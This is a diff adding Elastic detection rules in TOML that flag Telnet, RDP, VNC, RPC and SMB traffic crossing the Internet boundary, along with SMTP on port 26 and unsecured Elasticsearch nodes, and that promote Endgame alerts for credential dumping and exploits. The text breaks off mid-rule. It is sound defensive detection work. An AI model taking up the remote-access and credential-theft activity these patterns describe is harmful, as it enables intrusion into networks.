000000000..a6e23998f --- /dev/null +++ b/rules/network/command_and_control_nat_traversal_port_activity.toml @@ -0,0 +1,45 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +This rule detects events that could be describing IPSEC NAT Traversal traffic. IPSEC is a VPN technology that allows one +system to talk to another using encrypted tunnels. NAT Traversal enables these tunnels to communicate over the Internet +where one of the sides is behind a NAT router gateway. This may be common on your network, but this technique is also +used by threat actors to avoid detection. +""" +false_positives = [ + """ + Some networks may utilize these protocols but usage that is unfamiliar to local network administrators can be + unexpected and suspicious. Because this port is in the ephemeral range, this rule may false under certain + conditions, such as when an application server with a public IP address replies to a client which has used a UDP + port in the range by coincidence. This is uncommon but such servers can be excluded. + """, +] +from = "now-9m" +index = ["auditbeat-*", "filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "IPSEC NAT Traversal Port Activity" +risk_score = 21 +rule_id = "a9cb3641-ff4b-4cdc-a063-b4b8d02a67c7" +severity = "low" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Command and Control", "Host"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:udp and destination.port:4500 +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +name = "Command and Control" +id = "TA0011" +reference = "https://attack.mitre.org/tactics/TA0011/" diff --git a/rules/network/command_and_control_port_26_activity.toml b/rules/network/command_and_control_port_26_activity.toml new file mode 100644 index 000000000..da93ea481 --- /dev/null +++ b/rules/network/command_and_control_port_26_activity.toml @@ -0,0 +1,58 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +This rule detects events that may indicate use of SMTP on TCP port 26. This port is commonly used by several popular +mail transfer agents to deconflict with the default SMTP port 25. This port has also been used by a malware family +called BadPatch for command and control of Windows systems. +""" +false_positives = [ + """ + Servers that process email traffic may cause false positives and should be excluded from this rule as this is + expected behavior. + """, +] +from = "now-9m" +index = ["auditbeat-*", "filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "SMTP on Port 26/TCP" +references = [ + "https://unit42.paloaltonetworks.com/unit42-badpatch/", + "https://isc.sans.edu/forums/diary/Next+up+whats+up+with+TCP+port+26/25564/", +] +risk_score = 21 +rule_id = "d7e62693-aab9-4f66-a21a-3d79ecdd603d" +severity = "low" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Command and Control", "Host"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and (destination.port:26 or (event.dataset:zeek.smtp and destination.port:26)) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" +id = "TA0011" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Exfiltration Over Alternative Protocol" +reference = "https://attack.mitre.org/techniques/T1048/" +id = "T1048" + + +[rule.threat.tactic] +name = "Exfiltration" +reference = "https://attack.mitre.org/tactics/TA0010/" +id = "TA0010" diff --git a/rules/network/command_and_control_rdp_remote_desktop_protocol_from_the_internet.toml b/rules/network/command_and_control_rdp_remote_desktop_protocol_from_the_internet.toml new file mode 100644 index 000000000..ab8181b80 --- /dev/null +++ b/rules/network/command_and_control_rdp_remote_desktop_protocol_from_the_internet.toml @@ -0,0 +1,105 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/05/26" + +[rule] +author = ["Elastic"] +description = """ +This rule detects network events that may indicate the use of RDP traffic from the Internet. RDP is commonly used by +system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be +directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or +backdoor vector. +""" +false_positives = [ + """ + Some network security policies allow RDP directly from the Internet but usage that is unfamiliar to server or + network owners can be unexpected and suspicious. RDP services may be exposed directly to the Internet in some + networks such as cloud environments. In such cases, only RDP gateways, bastions or jump servers may be expected + expose RDP directly to the Internet and can be exempted from this rule. RDP may be required by some work-flows such + as remote access and support for specialized software products and servers. Such work-flows are usually known and + not unexpected. + """, +] +from = "now-9m" +index = ["auditbeat-*", "filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "RDP (Remote Desktop Protocol) from the Internet" +references = ["https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml"] +risk_score = 47 +rule_id = "8c1bdde8-4204-45c0-9e0c-c85ca3902488" +severity = "medium" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Command and Control", "Host"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and (destination.port:3389 or event.dataset:zeek.rdp) and + not source.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) and + destination.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1190" +name = "Exploit Public-Facing Application" +reference = "https://attack.mitre.org/techniques/T1190/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" diff --git a/rules/network/command_and_control_telnet_port_activity.toml b/rules/network/command_and_control_telnet_port_activity.toml new file mode 100644 index 000000000..d9268145c --- /dev/null +++ b/rules/network/command_and_control_telnet_port_activity.toml @@ -0,0 +1,70 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +This rule detects network events that may indicate the use of Telnet traffic. Telnet is commonly used by system +administrators to remotely control older or embedded systems using the command line shell. It should almost never be +directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or +backdoor vector. As a plain-text protocol, it may also expose usernames and passwords to anyone capable of observing +the traffic. +""" +false_positives = [ + """ + IoT (Internet of Things) devices and networks may use telnet and can be excluded if desired. Some business + work-flows may use Telnet for administration of older devices. These often have a predictable behavior. Telnet + activity involving an unusual source or destination may be more suspicious. Telnet activity involving a production + server that has no known associated Telnet work-flow or business requirement is often suspicious. + """, +] +from = "now-9m" +index = ["auditbeat-*", "filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Telnet Port Activity" +risk_score = 47 +rule_id = "34fde489-94b0-4500-a76f-b8a157cf9269" +severity = "medium" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Command and Control", "Host"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and destination.port:23 +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0011/" +id = "TA0011" +name = "Command and Control" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1021/" +id = "T1021" +name = "Remote Services" + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0008/" +id = "TA0008" +name = "Lateral Movement" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1190/" +id = "T1190" +name = "Exploit Public-Facing Application" + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0001/" +id = "TA0001" +name = "Initial Access" diff --git a/rules/network/command_and_control_vnc_virtual_network_computing_from_the_internet.toml b/rules/network/command_and_control_vnc_virtual_network_computing_from_the_internet.toml new file mode 100644 index 000000000..25c22a1f8 --- /dev/null +++ b/rules/network/command_and_control_vnc_virtual_network_computing_from_the_internet.toml @@ -0,0 +1,96 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/05/26" + +[rule] +author = ["Elastic"] +description = """ +This rule detects network events that may indicate the use of VNC traffic from the Internet. VNC is commonly used by +system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be +directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or +backdoor vector. +""" +false_positives = [ + """ + VNC connections may be received directly to Linux cloud server instances but such connections are usually made only + by engineers. VNC is less common than SSH or RDP but may be required by some work-flows such as remote access and + support for specialized software products or servers. Such work-flows are usually known and not unexpected. Usage + that is unfamiliar to server or network owners can be unexpected and suspicious. + """, +] +from = "now-9m" +index = ["auditbeat-*", "filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "VNC (Virtual Network Computing) from the Internet" +references = ["https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml"] +risk_score = 73 +rule_id = "5700cb81-df44-46aa-a5d7-337798f53eb8" +severity = "high" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Command and Control", "Host"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and destination.port >= 5800 and destination.port <= 5810 and + not source.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) and + destination.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Remote Access Software" +id = "T1219" +reference = "https://attack.mitre.org/techniques/T1219/" + + +[rule.threat.tactic] +name = "Command and Control" +id = "TA0011" +reference = "https://attack.mitre.org/tactics/TA0011/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Exploit Public-Facing Application" +id = "T1190" +reference = "https://attack.mitre.org/techniques/T1190/" + + +[rule.threat.tactic] +name = "Initial Access" +id = "TA0001" +reference = "https://attack.mitre.org/tactics/TA0001/" diff --git a/rules/network/command_and_control_vnc_virtual_network_computing_to_the_internet.toml b/rules/network/command_and_control_vnc_virtual_network_computing_to_the_internet.toml new file mode 100644 index 000000000..4e2af0def --- /dev/null +++ b/rules/network/command_and_control_vnc_virtual_network_computing_to_the_internet.toml @@ -0,0 +1,84 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/05/26" + +[rule] +author = ["Elastic"] +description = """ +This rule detects network events that may indicate the use of VNC traffic to the Internet. VNC is commonly used by +system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be +directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or +backdoor vector. +""" +false_positives = [ + """ + VNC connections may be made directly to Linux cloud server instances but such connections are usually made only by + engineers. VNC is less common than SSH or RDP but may be required by some work flows such as remote access and + support for specialized software products or servers. Such work-flows are usually known and not unexpected. Usage + that is unfamiliar to server or network owners can be unexpected and suspicious. + """, +] +from = "now-9m" +index = ["auditbeat-*", "filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "VNC (Virtual Network Computing) to the Internet" +references = ["https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml"] +risk_score = 47 +rule_id = "3ad49c61-7adc-42c1-b788-732eda2f5abf" +severity = "medium" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Command and Control", "Host"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and destination.port >= 5800 and destination.port <= 5810 and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Remote Access Software" +reference = "https://attack.mitre.org/techniques/T1219/" +id = "T1219" + + +[rule.threat.tactic] +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" +id = "TA0011" diff --git a/rules/network/initial_access_rpc_remote_procedure_call_from_the_internet.toml b/rules/network/initial_access_rpc_remote_procedure_call_from_the_internet.toml new file mode 100644 index 000000000..e7404a012 --- /dev/null +++ b/rules/network/initial_access_rpc_remote_procedure_call_from_the_internet.toml @@ -0,0 +1,76 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/05/26" + +[rule] +author = ["Elastic"] +description = """ +This rule detects network events that may indicate the use of RPC traffic from the Internet. RPC is commonly used by +system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be +directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or +backdoor vector. +""" +from = "now-9m" +index = ["auditbeat-*", "filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "RPC (Remote Procedure Call) from the Internet" +references = ["https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml"] +risk_score = 73 +rule_id = "143cb236-0956-4f42-a706-814bcaa0cf5a" +severity = "high" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Initial Access", "Host"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and (destination.port:135 or event.dataset:zeek.dce_rpc) and + not source.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) and + destination.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Exploit Public-Facing Application" +id = "T1190" +reference = "https://attack.mitre.org/techniques/T1190/" + + +[rule.threat.tactic] +name = "Initial Access" +id = "TA0001" +reference = "https://attack.mitre.org/tactics/TA0001/" diff --git a/rules/network/initial_access_rpc_remote_procedure_call_to_the_internet.toml b/rules/network/initial_access_rpc_remote_procedure_call_to_the_internet.toml new file mode 100644 index 000000000..b03ebd5c0 --- /dev/null +++ b/rules/network/initial_access_rpc_remote_procedure_call_to_the_internet.toml @@ -0,0 +1,76 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/05/26" + +[rule] +author = ["Elastic"] +description = """ +This rule detects network events that may indicate the use of RPC traffic to the Internet. RPC is commonly used by +system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be +directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or +backdoor vector. +""" +from = "now-9m" +index = ["auditbeat-*", "filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "RPC (Remote Procedure Call) to the Internet" +references = ["https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml"] +risk_score = 73 +rule_id = "32923416-763a-4531-bb35-f33b9232ecdb" +severity = "high" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Initial Access", "Host"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and (destination.port:135 or event.dataset:zeek.dce_rpc) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Exploit Public-Facing Application" +id = "T1190" +reference = "https://attack.mitre.org/techniques/T1190/" + + +[rule.threat.tactic] +name = "Initial Access" +id = "TA0001" +reference = "https://attack.mitre.org/tactics/TA0001/" diff --git a/rules/network/initial_access_smb_windows_file_sharing_activity_to_the_internet.toml b/rules/network/initial_access_smb_windows_file_sharing_activity_to_the_internet.toml new file mode 100644 index 000000000..9eaceac7e --- /dev/null +++ b/rules/network/initial_access_smb_windows_file_sharing_activity_to_the_internet.toml @@ -0,0 +1,88 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/05/26" + +[rule] +author = ["Elastic"] +description = """ +This rule detects network events that may indicate the use of Windows file sharing (also called SMB or CIFS) traffic to +the Internet. SMB is commonly used within networks to share files, printers, and other system resources amongst trusted +systems. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by +threat actors as an initial access or backdoor vector or for data exfiltration. +""" +from = "now-9m" +index = ["auditbeat-*", "filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "SMB (Windows File Sharing) Activity to the Internet" +references = ["https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml"] +risk_score = 73 +rule_id = "c82b2bd8-d701-420c-ba43-f11a155b681a" +severity = "high" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Initial Access", "Host"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and (destination.port:(139 or 445) or event.dataset:zeek.smb) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1190" +reference = "https://attack.mitre.org/techniques/T1190/" +name = "Exploit Public-Facing Application" + + +[rule.threat.tactic] +id = "TA0001" +reference = "https://attack.mitre.org/tactics/TA0001/" +name = "Initial Access" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1048" +reference = "https://attack.mitre.org/techniques/T1048/" +name = "Exfiltration Over Alternative Protocol" + + +[rule.threat.tactic] +id = "TA0010" +reference = "https://attack.mitre.org/tactics/TA0010/" +name = "Exfiltration" diff --git a/rules/network/initial_access_unsecure_elasticsearch_node.toml b/rules/network/initial_access_unsecure_elasticsearch_node.toml new file mode 100644 index 000000000..6ce29e2c4 --- /dev/null +++ b/rules/network/initial_access_unsecure_elasticsearch_node.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/08/11" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +author = ["Elastic"] +description = """ +Identifies Elasticsearch nodes that do not have Transport Layer Security (TLS), and/or lack authentication, and are +accepting inbound network connections over the default Elasticsearch port. +""" +false_positives = [ + """ + If you have front-facing proxies that provide authentication and TLS, this rule would need to be tuned to eliminate + the source IP address of your reverse-proxy. + """, +] +from = "now-9m" +index = ["auditbeat-*", "filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "lucene" +license = "Elastic License v2" +name = "Inbound Connection to an Unsecure Elasticsearch Node" +note = """## Config + +This rule requires the addition of port `9200` and `send_all_headers` to the `HTTP` protocol configuration in `packetbeat.yml`. See the References section for additional configuration documentation.""" +references = [ + "https://www.elastic.co/guide/en/elasticsearch/reference/current/configuring-security.html", + "https://www.elastic.co/guide/en/beats/packetbeat/current/packetbeat-http-options.html#_send_all_headers", +] +risk_score = 47 +rule_id = "31295df3-277b-4c56-a1fb-84e31b4222a9" +severity = "medium" +tags = ["Elastic", "Network", "Threat Detection", "Initial Access", "Host"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:network_traffic AND network.protocol:http AND status:OK AND destination.port:9200 AND network.direction:inbound AND NOT http.response.headers.content-type:"image/x-icon" AND NOT _exists_:http.request.headers.authorization +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1190/" +name = "Exploit Public-Facing Application" +id = "T1190" + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0001/" +name = "Initial Access" +id = "TA0001" diff --git a/rules/promotions/endgame_adversary_behavior_detected.toml b/rules/promotions/endgame_adversary_behavior_detected.toml new file mode 100644 index 000000000..5b68b4260 --- /dev/null +++ b/rules/promotions/endgame_adversary_behavior_detected.toml @@ -0,0 +1,28 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/12/13" + +[rule] +author = ["Elastic"] +description = """ +Elastic Endgame detected an Adversary Behavior. Click the Elastic Endgame icon in the event.module column or the +link in the rule.reference column for additional information. +""" +from = "now-15m" +index = ["endgame-*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +max_signals = 10000 +name = "Adversary Behavior - Detected - Elastic Endgame" +risk_score = 47 +rule_id = "77a3c3df-8ec4-4da4-b758-878f551dee69" +severity = "medium" +tags = ["Elastic", "Elastic Endgame"] +type = "query" + +query = ''' +event.kind:alert and event.module:endgame and (event.action:rules_engine_event or endgame.event_subtype_full:rules_engine_event) +''' + diff --git a/rules/promotions/endgame_cred_dumping_detected.toml b/rules/promotions/endgame_cred_dumping_detected.toml new file mode 100644 index 000000000..97009c0d7 --- /dev/null +++ b/rules/promotions/endgame_cred_dumping_detected.toml @@ -0,0 +1,28 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/12/13" + +[rule] +author = ["Elastic"] +description = """ +Elastic Endgame detected Credential Dumping. Click the Elastic Endgame icon in the event.module column or the link +in the rule.reference column for additional information. +""" +from = "now-15m" +index = ["endgame-*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +max_signals = 10000 +name = "Credential Dumping - Detected - Elastic Endgame" +risk_score = 73 +rule_id = "571afc56-5ed9-465d-a2a9-045f099f6e7e" +severity = "high" +tags = ["Elastic", "Elastic Endgame"] +type = "query" + +query = ''' +event.kind:alert and event.module:endgame and endgame.metadata.type:detection and (event.action:cred_theft_event or endgame.event_subtype_full:cred_theft_event) +''' + diff --git a/rules/promotions/endgame_cred_dumping_prevented.toml b/rules/promotions/endgame_cred_dumping_prevented.toml new file mode 100644 index 000000000..b6bfe21df --- /dev/null +++ b/rules/promotions/endgame_cred_dumping_prevented.toml @@ -0,0 +1,28 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/12/13" + +[rule] +author = ["Elastic"] +description = """ +Elastic Endgame prevented Credential Dumping. Click the Elastic Endgame icon in the event.module column or the link +in the rule.reference column for additional information. +""" +from = "now-15m" +index = ["endgame-*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +max_signals = 10000 +name = "Credential Dumping - Prevented - Elastic Endgame" +risk_score = 47 +rule_id = "db8c33a8-03cd-4988-9e2c-d0a4863adb13" +severity = "medium" +tags = ["Elastic", "Elastic Endgame"] +type = "query" + +query = ''' +event.kind:alert and event.module:endgame and endgame.metadata.type:prevention and (event.action:cred_theft_event or endgame.event_subtype_full:cred_theft_event) +''' + diff --git a/rules/promotions/endgame_cred_manipulation_detected.toml b/rules/promotions/endgame_cred_manipulation_detected.toml new file mode 100644 index 000000000..027503597 --- /dev/null +++ b/rules/promotions/endgame_cred_manipulation_detected.toml @@ -0,0 +1,28 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/12/13" + +[rule] +author = ["Elastic"] +description = """ +Elastic Endgame detected Credential Manipulation. Click the Elastic Endgame icon in the event.module column or the +link in the rule.reference column for additional information. +""" +from = "now-15m" +index = ["endgame-*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +max_signals = 10000 +name = "Credential Manipulation - Detected - Elastic Endgame" +risk_score = 73 +rule_id = "c0be5f31-e180-48ed-aa08-96b36899d48f" +severity = "high" +tags = ["Elastic", "Elastic Endgame"] +type = "query" + +query = ''' +event.kind:alert and event.module:endgame and endgame.metadata.type:detection and (event.action:token_manipulation_event or endgame.event_subtype_full:token_manipulation_event) +''' + diff --git a/rules/promotions/endgame_cred_manipulation_prevented.toml b/rules/promotions/endgame_cred_manipulation_prevented.toml new file mode 100644 index 000000000..fbd7262be --- /dev/null +++ b/rules/promotions/endgame_cred_manipulation_prevented.toml @@ -0,0 +1,28 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/12/13" + +[rule] +author = ["Elastic"] +description = """ +Elastic Endgame prevented Credential Manipulation. Click the Elastic Endgame icon in the event.module column or the +link in the rule.reference column for additional information. +""" +from = "now-15m" +index = ["endgame-*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +max_signals = 10000 +name = "Credential Manipulation - Prevented - Elastic Endgame" +risk_score = 47 +rule_id = "c9e38e64-3f4c-4bf3-ad48-0e61a60ea1fa" +severity = "medium" +tags = ["Elastic", "Elastic Endgame"] +type = "query" + +query = ''' +event.kind:alert and event.module:endgame and endgame.metadata.type:prevention and (event.action:token_manipulation_event or endgame.event_subtype_full:token_manipulation_event) +''' + diff --git a/rules/promotions/endgame_exploit_detected.toml b/rules/promotions/endgame_exploit_detected.toml new file mode 100644 index 000000000..89f12c0f2 --- /dev/null +++ b/rules/promotions/endgame_exploit_detected.toml @@ -0,0 +1,28 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/12/13" + +[rule] +author = ["Elastic"] +description = """ +Elastic Endgame detected an Exploit. Click the Elastic Endgame icon in the event.module column or the link in the +rule.reference column for additional information. +""" +from = "now-15m" +index = ["endgame-*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +max_signals = 10000 +name = "Exploit - Detected - Elastic Endgame" +risk_score = 73 +rule_id = "2003cdc8-8d83-4aa5-b132-1f9a8eb48514" +severity = "high" +tags = ["Elastic", "Elastic Endgame"] +type = "query" + +query = ''' +event.kind:alert and event.module:endgame and endgame.metadata.type:detection and (event.action:exploit_event or endgame.event_subtype_full:exploit_event) +''' + diff --git a/rules/promotions/endgame_exploit_prevented.toml b/rules/promotions/endgame_exploit_prevented.toml new file mode 100644 index 000000000..0d2744120 --- /dev/null +++ b/rules/promotions/endgame_exploit_prevented.toml @@ -0,0 +1,28 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/12/13" + +[rule] +author = ["Elastic"] +description = """ +Elastic Endgame prevented an Exploit. Click the Elastic Endgame icon in the event.module column or the link in the +rule.reference column for additional information. +""" +from = "now-15m" +index = 